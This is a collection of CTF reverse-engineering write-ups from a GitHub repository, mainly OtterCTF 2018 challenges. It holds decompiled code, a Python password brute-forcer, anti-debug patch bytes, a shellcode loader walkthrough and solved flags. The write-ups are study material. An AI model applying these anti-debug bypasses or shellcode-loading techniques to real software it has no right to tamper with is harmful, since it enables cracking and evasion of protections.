WAWE_offset; // esi MAPDST 28 | char user_char; // al 29 | signed int cur_pass_idx; // esi 30 | int idx; // ecx 31 | char *byte_i2_1; // eax 32 | int sum; // edx 33 | char xx0; // bl MAPDST 34 | bool is_zero; // zf 35 | int i_1; // ebx 36 | int xx2; // edx 37 | int xx2_and_xx1; // edi 38 | int j; // [esp+8h] [ebp-10h] 39 | int ja; // [esp+8h] [ebp-10h] 40 | _BYTE *locked_WAWE; // [esp+Ch] [ebp-Ch] 41 | 42 | CreateThread(0, 0, StartAddress, L"Music", 0, 0); 43 | resz = FindResourceW(0, L"Data", L"WAVE"); 44 | if ( resz ) 45 | { 46 | WAWE = LoadResource(0, resz); 47 | if ( WAWE ) 48 | { 49 | locked_WAWE = LockResource(WAWE); // load resource with name `WAVE` 50 | if ( locked_WAWE ) 51 | { 52 | printf("Enter password: "); 53 | final_flag = (char *)malloc(0x19u); 54 | for ( WAWE_offset = 0; locked_WAWE[WAWE_offset] != 0xFFu || locked_WAWE[WAWE_offset + 1] != 0xFBu; ++WAWE_offset ) 55 | ; 56 | WAWE_offset += 2; // find some offset in resource 57 | if ( WAWE_offset != 0xFFFFFFFF ) 58 | { 59 | final_flag = g_xor2_28db; // load xored flag 60 | j = final_flag - g_xor2_28db; 61 | do 62 | { 63 | if ( !*final_flag ) // if cur char zero -> goto next_loc 64 | break; 65 | user_char = get_char(); // read 1 char from user 66 | if ( user_char != 10 ) 67 | { 68 | if ( (unsigned __int8)(user_char - 0x21) > 0x5Du )// if it's non printable -> exit 69 | goto free; 70 | final_flag[j] = *final_flag ^ locked_WAWE[WAWE_offset + user_char];// xor some buff with WAWE[off + user_char] 71 | // eq to 72 | // final_flag[j] ^= locked_WAWE[WAWE_offset + user_char]; 73 | // 74 | ++final_flag; // goto next char 75 | while ( locked_WAWE[WAWE_offset] != -1 || locked_WAWE[WAWE_offset + 1] != -5 ) 76 | ++WAWE_offset; 77 | WAWE_offset += 2; // find next offset in file 78 | } 79 | } 80 | while ( WAWE_offset != -1 ); 81 | } 82 | final_flag[24] = 0; 83 | cur_pass_idx = 0; 84 | ja = 3 - (_DWORD)final_flag; 85 | while ( 1 ) 86 | { 87 | idx = cur_pass_idx; 88 | byte_i2_1 = &final_flag[cur_pass_idx]; 89 | sum = 0; 90 | xx0 = final_flag[cur_pass_idx]; 91 | is_zero = xx0 == 0; 92 | i_1 = cur_pass_idx / 3; 93 | if ( !is_zero ) 94 | { 95 | do 96 | { 97 | if ( idx >= (signed int)&final_flag[cur_pass_idx + ja] )// check if idx <= 3 98 | // eg for one do-while loop we will check 99 | // 3 < 6, 4 < 6, 5 < 6 100 | break; 101 | ++idx; 102 | sum += *byte_i2_1; // add char of password 103 | byte_i2_1 = &final_flag[idx]; 104 | } 105 | while ( final_flag[idx] ); 106 | } 107 | if ( sum != g_sum_8dd[i_1] ) // and then check sum of this 3 chars 108 | break; 109 | xx2 = final_flag[cur_pass_idx + 2]; 110 | xx2_and_xx1 = xx2 & final_flag[cur_pass_idx + 1]; 111 | if ( (xx2_and_xx1 ^ xx0) != g_xor_8dd[i_1]// check_2 112 | || (xx2_and_xx1 ^ 8 * xx0) != g_xor_mul8_8dd[i_1]// check_3 113 | || (16 * xx2 ^ (xx0 - final_flag[cur_pass_idx + 1])) != g_math_8dd[i_1] )// check_4 114 | // final_flag[cur_pass_idx + 1] == xx1 115 | { 116 | break; 117 | } 118 | cur_pass_idx += 3; // if all is ok -> goto next 3 chars of password 119 | if ( cur_pass_idx >= 24 ) 120 | { 121 | puts(final_flag); // if all chars is ok -> print decrypted flag 122 | break; 123 | } 124 | } 125 | } 126 | free: 127 | FreeResource(WAWE); 128 | } 129 | } 130 | return 0; 131 | } 132 | ``` 133 | 134 | Briefly: we load resourse, find some offsets in this res, read user input, then xor some buffer(xored flag) with res[off + user_input], eg 135 | ``` 136 | offset = 0x5d 137 | user_char = 'U' = 0x55 138 | so we will have 139 | 140 | final_flag[j] = *final_flag ^ WAWE[0x5d + 0x55]; 141 | -> 142 | final_flag[j] = *final_flag ^ WAWE[0xb2]; 143 | -> 144 | final_flag[j] = final_flag[j] ^ WAWE[0xb2]; 145 | -> 146 | final_flag[j] ^= WAWE[0xb2]; 147 | ``` 148 | 149 | Then we check three char of unxored flag in a cycle by some equations, like 150 | ```c 151 | xx0 = flag[i*3 + 0] 152 | xx1 = flag[i*3 + 1] 153 | xx2 = flag[i*3 + 2] 154 | 155 | if xx0 + xx1 + xx2 != g_sum_8dd[i] 156 | || (xx2 & xx1) ^ xx0 != g_xor_8dd[i] 157 | || ((xx2 & xx1) ^ 8 * xx0) != g_xor_mul8_8dd[i] 158 | || (16 * xx2 ^ (xx0 - xx1)) != g_math_8dd[i] { 159 | goto fail; 160 | } else { 161 | i++; // goto next loop 162 | } 163 | ``` 164 | 165 | We can try to brute this 3 chars, but we need get `WAWE` resource(eg by resource hacker) and we need all `WAWE_offset` values at 166 | ```C 167 | final_flag[j] = *final_flag ^ locked_WAWE[WAWE_offset + user_char];// xor some buff with WAWE[off + user_char] 168 | ``` 169 | 170 | Ok, I'm get this values in debugger by breakpoint at 0x401166 171 | ```C 172 | .text:0040115D mov ecx, [ebp+locked_WAWE] 173 | .text:00401160 mov edx, [ebp+j] 174 | .text:00401163 movsx eax, al 175 | .text:00401166 add eax, esi ; <<<< `esi` here is our value 176 | .text:00401168 mov al, [eax+ecx] 177 | .text:0040116B xor al, [ebx] 178 | .text:0040116D mov [edx+ebx], al 179 | .text:00401170 inc ebx 180 | ``` 181 | ```python 182 | ranges = [0x5d, 0x41d, 0x7dd, 0xb9d, 0xf5d, 0x131d, 0x16dd, 0x1a9d, 0x1e5d, 0x221d, 0x25dd, 0x299d, 0x2d5d, 0x311d, 0x34dd, 0x389d, 0x3c5d, 0x401d, 0x43dd, 0x479d, 0x4b5d, 0x4f1d, 0x52dd, 0x569d, 0x5a5d] # by hand, in debugger 183 | ``` 184 | 185 | Now write some script to brute pass: 186 | ```python 187 | g_xor_8dd = [7, 58, 88, 111, 70, 31, 18, 2] # 0041A518 188 | g_xor2_28db = [0x66, 0x04, 0x01, 0x6E, 0xEB, 0x0A, 0xE8, 0xA3, 0x22, 0x60, 0xA1, 189 | 0xAF, 0x41, 0x14, 0xC3, 0x7A, 0x54, 0xC3, 0x25, 0xA3, 0x8D, 0x75, 0x6E, 0xC8] # 0041A538 190 | g_math_8dd = [4294966159, 1960, 4294965491, 191 | 1903, 1889, 1629, 1777, 2002] # 0041A554 192 | g_sum_8dd = [221, 311, 271, 259, 281, 278, 329, 329] # 0041A574 193 | g_xor_mul8_8dd = [604, 921, 416, 712, 914, 696, 980, 861] # 0041A594 194 | ranges = [0x5d, 0x41d, 0x7dd, 0xb9d, 0xf5d, 0x131d, 0x16dd, 0x1a9d, 0x1e5d, 0x221d, 0x25dd, 0x299d, 195 | 0x2d5d, 0x311d, 0x34dd, 0x389d, 0x3c5d, 0x401d, 0x43dd, 0x479d, 0x4b5d, 0x4f1d, 0x52dd, 0x569d, 0x5a5d] # by hand, in debugger 196 | 197 | b = open('ListenCarefully.exe', 'rb').read()[0x1ACF0:] # read WAWE resource from exe file 198 | 199 | for r in xrange(0, len(ranges) - 1, 3): 200 | print r 201 | x_0 = b[ranges[r + 0]:] # range1 of bytes to brute 202 | x_1 = b[ranges[r + 1]:] # range2 of bytes to brute 203 | x_2 = b[ranges[r + 2]:] # range3 of bytes to brute 204 | for x0 in xrange(0x20, 0x7F): # brute first user char 205 | for x1 in xrange(0x20, 0x7F): # brute second user char 206 | for x2 in xrange(0x20, 0x7F): # brute third user char 207 | idx = r/3 208 | xx0 = ord(x_0[x0]) ^ g_xor2_28db[r + 0] 209 | xx1 = ord(x_1[x1]) ^ g_xor2_28db[r + 1] 210 | xx2 = ord(x_2[x2]) ^ g_xor2_28db[r + 2] 211 | if xx0 + xx1 + xx2 == g_sum_8dd[idx]: # check eq1 212 | xx2_and_xx1 = xx2 & xx1 213 | if xx2_and_xx1 ^ xx0 == g_xor_8dd[idx]: # check eq2 214 | # check eq3 215 | if xx2_and_xx1 ^ 8 * xx0 == g_xor_mul8_8dd[idx]: 216 | # check eq4 217 | if (16 * xx2 ^ (xx0 - xx1)) & 0xFFFFFFFF == g_math_8dd[idx]: 218 | # if all is ok -> print this chars 219 | print chr(x0) + chr(x1) + chr(x2) 220 | print 221 | ``` 222 | 223 | Output is 224 | ``` 225 | 0 226 | Ul2 227 | Ul] 228 | Ult 229 | 230 | 3 231 | r4_ 232 | rq_ 233 | rx_ 234 | 235 | 6 236 | Lu7 237 | 238 | 9 239 | RG_ 240 | Ra_ 241 | `G_ 242 | `a_ 243 | 244 | 12 245 | &5_ 246 | &v_ 247 | 15_ 248 | 1v_ 249 | 250 | 15 251 | 7h$ 252 | 7h3 253 | 254 | 18 255 | _83 256 | 257 | 21 258 | 57! 259 | 87! 260 | }7! 261 | ``` 262 | 263 | well... we have some collisions... 264 | 265 | let's try to do the most readable flag from these parts. As for me - it's `Ultr4_Lu7Ra_15_7h3_8357!` 266 | 267 | Run binary and enter our pass 268 | ``` 269 | PS C:\Users\PC\Desktop> .\ListenCarefully.exe 270 | Enter password: Ultr4_Lu7Ra_15_7h3_8357! 271 | CTF{Cy8er_0tt3r_Revenge} 272 | ``` 273 | 274 | Yahoo! Finally, we get flag! 275 | 276 | Flag is: **CTF{Cy8er_0tt3r_Revenge}** 277 | 278 | **Overall, I really liked `OtterCTF`, good CTF with good problems.** 279 | 280 | **Thanks for this `Asaf Eitani`.** 281 | 282 | **See you next time!** 283 | -------------------------------------------------------------------------------- /OtterCTF_2018/MsgMeThis/MsgMeThis.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/MsgMeThis/MsgMeThis.exe -------------------------------------------------------------------------------- /OtterCTF_2018/MsgMeThis/readme.md: -------------------------------------------------------------------------------- 1 | # Msg Me This 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 500 5 | **Solves:** 15 6 | **Description:** 7 | 8 | Rick created another vicious program 9 | 10 | Could you get the correct flag? 11 | 12 | [MsgMeThis.exe](MsgMeThis.exe) 13 | 14 | ## Write-up 15 | 16 | We have c++ 32bit windows binary build in debug mode, load it in the disassembler. 17 | 18 | In `main` function we have next code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 19 | ```C 20 | int __cdecl main(int argc, const char **argv, const char **envp) 21 | { 22 | int v3; // edx 23 | int v4; // ecx 24 | int v5; // edx 25 | int v6; // ecx 26 | int v7; // edx 27 | int v8; // ST0C_4 28 | LPVOID v10; // [esp+D0h] [ebp-148h] 29 | char v11; // [esp+DCh] [ebp-13Ch] 30 | char v12; // [esp+DDh] [ebp-13Bh] 31 | char v13; // [esp+DEh] [ebp-13Ah] 32 | char v14; // [esp+DFh] [ebp-139h] 33 | int j; // [esp+E8h] [ebp-130h] 34 | unsigned __int8 *i; // [esp+F4h] [ebp-124h] 35 | void (*v17)(); // [esp+100h] [ebp-118h] 36 | int v18; // [esp+10Ch] [ebp-10Ch] 37 | LPVOID lpAddress; // [esp+118h] [ebp-100h] 38 | DWORD flOldProtect; // [esp+124h] [ebp-F4h] 39 | char shellcode[223]; // [esp+130h] [ebp-E8h] 40 | int v22; // [esp+214h] [ebp-4h] 41 | int savedregs; // [esp+218h] [ebp+0h] 42 | 43 | qmemcpy(shellcode, f_shellcode, sizeof(shellcode)); 44 | flOldProtect = 0; 45 | v18 = 222; 46 | v17 = (sub_42AB72 + 1); 47 | for ( i = sub_42AB72 + *(sub_42AB72 + 1); *i == 0xCC; ++i ) 48 | ; 49 | i += 30; 50 | for ( j = 0; i[j] != 0x90; ++j ) 51 | ; 52 | lpAddress = sub_42C413(shellcode, v18); 53 | sub_42B112(lpAddress, (j + v18) | -__CFADD__(j, v18)); 54 | VirtualProtect(lpAddress, j + v18, 0x40u, &flOldProtect); 55 | sub_42B33D(v4, v3); 56 | sub_42ACEE(lpAddress + j, lpAddress, v18); 57 | v11 = v18; 58 | v12 = 0; 59 | v13 = 0; 60 | v14 = 0; 61 | sub_42ACEE(lpAddress, i, j); 62 | sub_42ACEE(lpAddress + 20, &v11, 4); 63 | v10 = lpAddress; 64 | (lpAddress)(); 65 | sub_42B33D(v6, v5); 66 | sub_42C2BF(&savedregs, &dword_43024C, 0, v7); 67 | return sub_42B33D(&savedregs ^ v22, v8); 68 | } 69 | ``` 70 | 71 | Of course, we can analyze and try to understand what and how this code does. But there an easier way. 72 | 73 | Pay attention to 74 | ```C 75 | qmemcpy(shellcode, f_shellcode, sizeof(shellcode)); 76 | ``` 77 | 78 | Let's analyze f_shellcode instead! 79 | 80 | ```C 81 | int f_shellcode() 82 | { 83 | int v0; // ebx 84 | _DWORD *v1; // edx 85 | int *v2; // esi 86 | int v3; // ecx 87 | int v4; // eax 88 | _DWORD *v5; // eax 89 | int (__stdcall *v6)(int, int *, signed int, signed int, signed int, _DWORD, _DWORD, int, int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD)); // edx 90 | int (__cdecl *v7)(int, _DWORD *, signed int, signed int); // eax 91 | int v8; // ecx 92 | int v9; // eax 93 | int v10; // eax 94 | int v12; // [esp-Ch] [ebp-20h] 95 | int v13; // [esp-4h] [ebp-18h] 96 | int v14; // [esp+0h] [ebp-14h] 97 | int v15; // [esp+4h] [ebp-10h] 98 | int v16; // [esp+8h] [ebp-Ch] 99 | int v17; // [esp+Ch] [ebp-8h] 100 | int v18; // [esp+10h] [ebp-4h] 101 | int (__cdecl *savedregs)(int, _DWORD *, signed int, signed int); // [esp+14h] [ebp+0h] 102 | 103 | v0 = *(***(*(__readfsdword(0x30u) + 12) + 20) + 16); 104 | v1 = (v0 + *(v0 + *(v0 + 60) + 120)); 105 | v2 = (v0 + v1[8]); 106 | v3 = 0; 107 | do 108 | { 109 | do 110 | { 111 | ++v3; 112 | v4 = *v2; 113 | ++v2; 114 | v5 = (v0 + v4); 115 | } 116 | while ( *v5 != 0x50746547 ); 117 | } 118 | while ( v5[1] != 0x41636F72 || v5[2] != 0x65726464 ); 119 | LOWORD(v3) = *(v0 + v1[9] + 2 * v3); 120 | v6 = (v0 + *(v0 + v1[7] + 4 * (v3 - 1))); 121 | v7 = v6(v0, &v13, 0x64616F4C, 0x7262694C, 0x41797261, 0, v6, v0, savedregs); 122 | v8 = savedregs; 123 | savedregs = v7; 124 | v18 = v8; 125 | LOWORD(v8) = 0x6C6C; 126 | v9 = v7(&v15, 0x72657375, 0x642E3233, v8); 127 | v17 = 0; 128 | v16 = 0x41786F; 129 | v10 = savedregs(v9, &v14, 0x7373654D, 0x42656761); 130 | v15 = 0; 131 | return (v10)(0, &v12, &v12, 0, v10 ^ 0x67616C66, v10 ^ 0x6568537B, v10 ^ 0x6F436C6C, v10 ^ 0x7D646564); 132 | } 133 | ``` 134 | 135 | Pay attention to 136 | 137 | ```C 138 | return (v10)(0, &v12, &v12, 0, v10 ^ 0x67616C66, v10 ^ 0x6568537B, v10 ^ 0x6F436C6C, v10 ^ 0x7D646564); 139 | ``` 140 | 141 | If we convert numbers to ASCII we'll have 142 | 143 | ```C 144 | return (v10)(0, &v12, &v12, 0, v10 ^ 'galf', v10 ^ 'ehS{', v10 ^ 'oCll', v10 ^ '}ded'); 145 | ``` 146 | 147 | `galf` is reversed `flag`... 148 | 149 | Ok 150 | ``` 151 | flag 152 | {She 153 | llCo 154 | ded} 155 | ``` 156 | 157 | Concatenate it and 158 | 159 | Flag is: **flag{ShellCoded}** 160 | -------------------------------------------------------------------------------- /OtterCTF_2018/OtterSilence/OtterSilence.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/OtterSilence/OtterSilence.exe -------------------------------------------------------------------------------- /OtterCTF_2018/OtterSilence/readme.md: -------------------------------------------------------------------------------- 1 | # Otter Silence 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 300 5 | **Solves:** 18 6 | **Description:** 7 | 8 | Yet another one of Rick's creations... 9 | 10 | Be quick. 11 | 12 | [OtterSilence.exe](OtterSilence.exe) 13 | 14 | ## Write-up 15 | 16 | We have small c++ 32bit windows binary, load it in the disassembler. 17 | 18 | In `main` function we have a pretty easy code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 19 | ```C 20 | int main() 21 | { 22 | HMODULE cur_proc; 23 | char byte; 24 | int idx; 25 | unsigned int i; 26 | char xor_byte; 27 | char xored_flag[27]; 28 | char buff_2[260]; 29 | char buff_1[256]; 30 | char xor_key[4]; 31 | char v13; 32 | 33 | cur_proc = GetModuleHandleA(0); 34 | memset(buff_1, 0, 255); 35 | memset(&buff_2[4], 0, 255); 36 | if ( !LoadStringA(cur_proc, 1337u, buff_1, 255) ) 37 | return -1; 38 | byte = buff_1[0]; 39 | if ( buff_1[0] ) 40 | { 41 | idx = 0; 42 | do // decode string by xor 43 | { 44 | buff_2[++idx + 3] = byte ^ 0x30; // "++idx + 3" always >= 4 45 | byte = buff_1[idx]; 46 | } 47 | while ( byte ); 48 | } 49 | memset(buff_1, 0, 255); 50 | if ( !LoadStringA(cur_proc, 666u, buff_1, 255) ) 51 | return -1; 52 | *xor_key = 0; 53 | v13 = 0; 54 | *buff_2 = 5; 55 | if ( RegGetValueA(HKEY_CURRENT_USER, &buff_2[4], buff_1, 0xFFFF, 0, xor_key, buff_2) )// load decrypt key 56 | return -1; 57 | i = 0; 58 | *xored_flag = g_xored_flag_part; 59 | *&xored_flag[16] = 0x354567C; 60 | xor_byte = 0x72; 61 | *&xored_flag[20] = 0x4503696E; 62 | *&xored_flag[24] = 0x4E53; 63 | xored_flag[26] = 0; 64 | do // decrypt xored flag 65 | { 66 | printf("%c", xor_byte ^ xor_key[i % (*buff_2 - 1)]);// *buff_2 - 1 == 4 67 | xor_byte = xored_flag[i++ + 1]; 68 | } 69 | while ( xor_byte ); 70 | return 0; 71 | } 72 | ``` 73 | 74 | Briefly: we get string-resource with `uID = 1337`, then decode this string by xoring with 0x30, then load string with `uID = 666` an use it for `RegGetValueA` and load xor_key to decode xored_flag 75 | 76 | ```C 77 | 00C5110D | 50 | push eax | LPDWORD pcbData = "Keyboard Layout\\Toggle" 78 | 00C5110E | 8D45 F4 | lea eax,dword ptr ss:[ebp-C] | 79 | 00C51111 | C645 F8 00 | mov byte ptr ss:[ebp-8],0 | 80 | 00C51115 | 50 | push eax | PVOID pvData = "Keyboard Layout\\Toggle" 81 | 00C51116 | 6A 00 | push 0 | LPDWORD pdwType = REG_NONE 82 | 00C51118 | 68 FFFF0000 | push FFFF | DWORD dwFlags = FFFF 83 | 00C5111D | 8D85 F4FEFFFF | lea eax,dword ptr ss:[ebp-10C] | 84 | 00C51123 | C785 F0FDFFFF 05000000 | mov dword ptr ss:[ebp-210],5 | 85 | 00C5112D | 50 | push eax | LPCTSTR lpValue = "Keyboard Layout\\Toggle" 86 | 00C5112E | 8D85 F4FDFFFF | lea eax,dword ptr ss:[ebp-20C] | 87 | 00C51134 | 50 | push eax | LPCTSTR lpSubKey = "Keyboard Layout\\Toggle" 88 | 00C51135 | 68 01000080 | push 80000001 | HANDLE hkey = HKEY_CURRENT_USER 89 | 00C5113A | FF15 0040C600 | call dword ptr ds:[<&RegGetValueA>] | RegGetValueA 90 | ``` 91 | 92 | So we need only 4 char xor_key that we can just brute(a long way) or we can use flag format to restore key `¯\_(ツ)_/¯` 93 | 94 | Xor first 4 bytes of xored_flag with `CTF{` we'll have xor key `1337` or `31 33 33 37` as bytes 95 | 96 | ```python 97 | >>> a = [0x72, 0x67, 0x75, 0x4C] 98 | >>> chr(a[0] ^ ord('C')) 99 | '1' 100 | >>> chr(a[1] ^ ord('T')) 101 | '3' 102 | >>> chr(a[2] ^ ord('F')) 103 | '3' 104 | >>> chr(a[3] ^ ord('{')) 105 | '7' 106 | ``` 107 | 108 | Now we can set `HKEY_CURRENT_USER\Keyboard Layout\Toggle\UltraMegaOtter` to `1337`, and run binary: 109 | 110 | ``` 111 | PS C:\Users\PC\Desktop> .\OtterSilence.exe 112 | CTF{Ultr4_Lutra_Meg4_Z0rb} 113 | ``` 114 | 115 | Flag is: **CTF{Ultr4_Lutra_Meg4_Z0rb}** 116 | -------------------------------------------------------------------------------- /OtterCTF_2018/README.md: -------------------------------------------------------------------------------- 1 | # OtterCTF 2018 writeups 2 | 3 | ## reverse 4 | * [ListenCarefully](ListenCarefully) 5 | * [MsgMeThis](MsgMeThis) 6 | * [ReadMe](ReadMe) 7 | * [CallMeRick](CallMeRick) 8 | * [OtterSilence](OtterSilence) 9 | * [HopityHop](HopityHop) 10 | -------------------------------------------------------------------------------- /OtterCTF_2018/ReadMe/ReadMe.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/ReadMe/ReadMe.exe -------------------------------------------------------------------------------- /OtterCTF_2018/ReadMe/readme.md: -------------------------------------------------------------------------------- 1 | # Read Me 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 450 5 | **Solves:** 16 6 | **Description:** 7 | 8 | Rick found a clever way to make sure only his PC will get the flag. 9 | 10 | He also hates when someone debugs his code. 11 | 12 | [ReadMe.exe](ReadMe.exe) 13 | 14 | ## Write-up 15 | 16 | We have small c++ 64bit windows binary, load it in the disassembler. 17 | 18 | In `main` function we have prety easy code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 19 | ```C 20 | int __cdecl main(int argc, const char **argv, const char **envp) 21 | { 22 | __int64 cou; // rbx 23 | HANDLE fp; // rdi 24 | char *buff; // rsi 25 | int idx; // eax 26 | DWORD NumberOfBytesRead; // [rsp+40h] [rbp-C0h] 27 | char str[15]; // [rsp+48h] [rbp-B8h] 28 | char user_input[40]; // [rsp+58h] [rbp-A8h] 29 | __int16 Filename[260]; // [rsp+80h] [rbp-80h] 30 | 31 | if ( IsDebuggerPresent() ) // antidebug 32 | return -1; 33 | if ( GetTickCount() - g_tick_count > 10000 ) // antidebug 34 | return -1; 35 | GetModuleFileNameW(0i64, Filename, 260u); 36 | if ( GetTickCount() - g_tick_count > 10000 ) // antidebug 37 | return -1; 38 | cou = 0i64; 39 | fp = CreateFileW(Filename, GENERIC_READ, 1u, 0i64, 3u, 0, 0i64); 40 | if ( GetTickCount() - g_tick_count > 10000 ) // antidebug 41 | return -1; 42 | NumberOfBytesRead = GetFileSize(fp, 0i64); 43 | if ( GetTickCount() - g_tick_count > 10000 ) // antidebug 44 | return -1; 45 | buff = malloc(NumberOfBytesRead); 46 | ReadFile(fp, buff, NumberOfBytesRead, &NumberOfBytesRead, 0i64);// read file 47 | if ( GetTickCount() - g_tick_count <= 10000 ) // antidebug 48 | { 49 | scanf_s("%s", user_input, 32i64); 50 | while ( GetTickCount() - g_tick_count <= 10000 )// antidebug 51 | { 52 | switch ( *(cou + 0x14001FE90i64) ) // .rdata:000000014001FE90 db '+--+-++--+-+-++--++-++*+-+-+-+',0 53 | { 54 | case '*': 55 | idx = g_idx * g_table[cou]; 56 | break; 57 | case '+': 58 | idx = g_table[cou] + g_idx; 59 | break; 60 | case '-': 61 | idx = g_idx - g_table[cou]; 62 | break; 63 | default: 64 | return -1; 65 | } 66 | g_idx = idx; 67 | if ( user_input[cou] != buff[idx] ) // compare user_input char to some other char 68 | { 69 | strcpy(str, "Wrong Bitches!"); 70 | printf("%s", str); // fail 71 | return -1; 72 | } 73 | if ( ++cou >= 30 ) 74 | { 75 | printf("%s", user_input); // print flag 76 | return 0; 77 | } 78 | } 79 | } 80 | return -1; 81 | } 82 | ``` 83 | 84 | The program read user input and then compare it to some values. 85 | 86 | Ok, the main idea of solving is patch anti-debug and get all values of `buff[idx]` at 87 | ```C 88 | if ( user_input[cou] != buff[idx] ) 89 | ``` 90 | because user_input don't change and just compared like by `strcmp`. 91 | 92 | We will patch: 93 | ```C 94 | original code 95 | -> 96 | patched code 97 | 98 | .text:000000014000112A 74 0A jz short loc_140001136 99 | -> 100 | .text:000000014000112A EB 0A jmp short loc_140001136 101 | 102 | .text:0000000140001147 77 E3 ja short loc_14000112C 103 | -> 104 | .text:0000000140001147 90 nop 105 | .text:0000000140001148 90 nop 106 | 107 | .text:000000014000116C 77 BE ja short loc_14000112C 108 | -> 109 | .text:000000014000116C 90 nop 110 | .text:000000014000116D 90 nop 111 | 112 | .text:000000014000122D 0F 87 E1 00 00+ ja loc_140001314 113 | -> 114 | .text:000000014000122D 90 nop 115 | .text:000000014000122E 90 nop 116 | .text:000000014000122F 90 nop 117 | .text:0000000140001230 90 nop 118 | .text:0000000140001231 90 nop 119 | .text:0000000140001232 90 nop 120 | 121 | .text:0000000140001262 0F 87 AC 00 00+ ja loc_140001314 122 | -> 123 | .text:0000000140001262 90 nop 124 | .text:0000000140001263 90 nop 125 | .text:0000000140001264 90 nop 126 | .text:0000000140001265 90 nop 127 | .text:0000000140001266 90 nop 128 | .text:0000000140001267 90 nop 129 | 130 | .text:000000014000127D 0F 85 91 00 00+ jnz loc_140001314 131 | -> 132 | .text:000000014000127D 90 nop 133 | .text:000000014000127E 90 nop 134 | .text:000000014000127F 90 nop 135 | .text:0000000140001280 90 nop 136 | .text:0000000140001281 90 nop 137 | .text:0000000140001282 90 nop 138 | 139 | .text:00000001400012BF 75 1E jnz short loc_1400012DF 140 | -> 141 | .text:00000001400012BF 90 nop 142 | .text:00000001400012C0 90 nop 143 | ``` 144 | 145 | Now anti-debug defeated))) 146 | 147 | And we can just enter any password and easily collect all values of `cl` at `0x1400012BB` 148 | 149 | ```C 150 | .text:00000001400012B7 0F B6 0C 30 movzx ecx, byte ptr [rax+rsi] 151 | .text:00000001400012BB 38 4C 1C 58 cmp [rsp+rbx+2A0h+user_input], cl ; <<< HERE 152 | ``` 153 | 154 | Set breakpoint at `0x1400012BB`, load in the debugger and get flag byte by byte. 155 | 156 | ![values](values.png) 157 | 158 | Flag is: **CTF{M!sT3r_M3ese3k5_L00k_@_ME}** 159 | -------------------------------------------------------------------------------- /OtterCTF_2018/ReadMe/values.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/ReadMe/values.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups 2 | My ctf-writeups 3 | 4 | ## 2017 5 | * [34C3 CTF](34C3_CTF) 6 | 7 | ## 2018 8 | * [EasyCTF IV](EasyCTF_IV) 9 | * Viettel Mates CTF 2018 -> [Find my password](Viettel_Mates_CTF_2018/find_my_password.md) 10 | * [OtterCTF](OtterCTF_2018) 11 | 12 | ## 2019 13 | * [FireShell CTF](FireShell_CTF_2019) 14 | * I'm waiting for it ;p 15 | -------------------------------------------------------------------------------- /UIUCTF_2018/triptych: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/UIUCTF_2018/triptych -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/DIE_result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/Viettel_Mates_CTF_2018/DIE_result.png -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/UPX_unpacked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/Viettel_Mates_CTF_2018/UPX_unpacked.png -------------------------------------------------------------------------------- /Viettel_Mates_CTF_2018/find_my_password.md: -------------------------------------------------------------------------------- 1 | # [РАЙТАП НА РУССКОМ](find_my_password_ru.md) 2 | # Summer began, the school was over - `it's time for the games! :D` 3 | Recently was `Viettel Mates CTF 2018` in which I did not participate due to laziness, but decided to see a few of the tasks. 4 | 5 | I liked `Find my password` - task from the reverse category: 6 | 7 | ``` 8 | I have set a very strong password. Can you find it ? 9 | 10 | [Binary here](https://drive.google.com/open?id=1RioCBfPAR-THYyuVMAgXzRx3UAXyStZf) 11 | ``` 12 | 13 | So, let's start! 14 | 15 | ## Primary analysis 16 | 17 | First of all, let's drop this binary in DIE([Detect It Easy](http://ntinfo.biz)) - it's tells us that this is a 32-bit PE binary, packed by UPX. 18 | 19 | ![DIE Result](DIE_result.png) 20 | 21 | We try to unpack it with the UPX `upx -d find_my_password.exe` and everything is perfectly unpacked. 22 | 23 | ![UPX Unpacked](UPX_unpacked.png) 24 | 25 | Try to run unpacked file - get crash. We load it into the debugger: yeah, ASLR, [turn it off](https://will.io/blog/2013/05/31/disable-aslr/), it works - we are asked for a password, move on. 26 | 27 | ![Normal Run](normal_run.png) 28 | 29 | Load it in your favourite disassembler(radare2, cutter, IDA, binary ninja - I'll use IDA), after the analysis we see that we have something like the VM. 30 | 31 | It is! After analyzing and restoring the structures (in which [HexRaysPyTools](https://github.com/igogo-x86/HexRaysPyTools) and [HexRaysCodeXplorer](https://github.com/REhints/HexRaysCodeXplorer) helped us), it is clear that our VM has 4 one-byte registers, 255 bytes of VM memory, 172 bytes of pcode(0x0423488-0x0423533): 32 | ```C 33 | 